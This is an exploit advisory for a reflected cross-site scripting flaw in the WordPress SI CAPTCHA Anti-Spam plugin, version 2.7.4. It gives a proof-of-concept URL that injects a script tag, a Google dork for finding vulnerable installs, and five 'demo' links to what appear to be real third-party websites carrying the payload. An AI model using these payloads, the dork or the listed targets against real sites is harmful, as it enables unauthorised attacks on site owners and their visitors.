WordPress SI CAPTCHA Cross Site Scripting

`|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|  
|-------------------------------------------------------------------------|  
| [*] Exploit Title: Wordpress SI CAPTCHA Anti-Spam Plugin Cross   
site scripting  
|  
| [*] Exploit Author: Ashiyane Digital Security Team  
|  
| [*] Date : Date: 2014-08-02  
|  
| [*] Vendor Homepage : http://wordpress.org  
|  
| [*] Software Link : http://wordpress.org/plugins/si-captcha-for-wordpress/  
|  
| [*] Version : 2.7.4  
|  
| [*] Google Dork:   
inurl:/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage  
|  
| [*] Tested on: Windows , Mozilla Firefox  
|-------------------------------------------------------------------------|  
| [*] Kind: XSS Reflected  
|  
| [*] PoC :  
|  
| [*]   
[Localhost]/wordpress/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>  
|-------------------------------------------------------------------------|  
| [*] Demo:  
|  
| [*]   
http://www.aroundthewoorld.fr/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>  
|  
| [*]   
http://www.thebeehive.ie/wordpress/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test//index.php/"/><script>alert(1);</script>  
|  
| [*]   
http://www.ioanam.ecosapiens.ro/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>  
|  
| [*]   
http://www.mauroguiselini.com.br/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>  
|  
| [*]   
http://www.plataformaenergetica.com/suryayoga/wp-content/plugins/si-captcha-for-wordpress/captcha-secureimage/test/index.php/"/><script>alert(1);</script>  
|  
|  
|-------------------------------------------------------------------------|  
| [*] Discovered By : ACC3SS  
|-------------------------------------------------------------------------|  
|-------------------------------------------------------------------------|  
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|  
`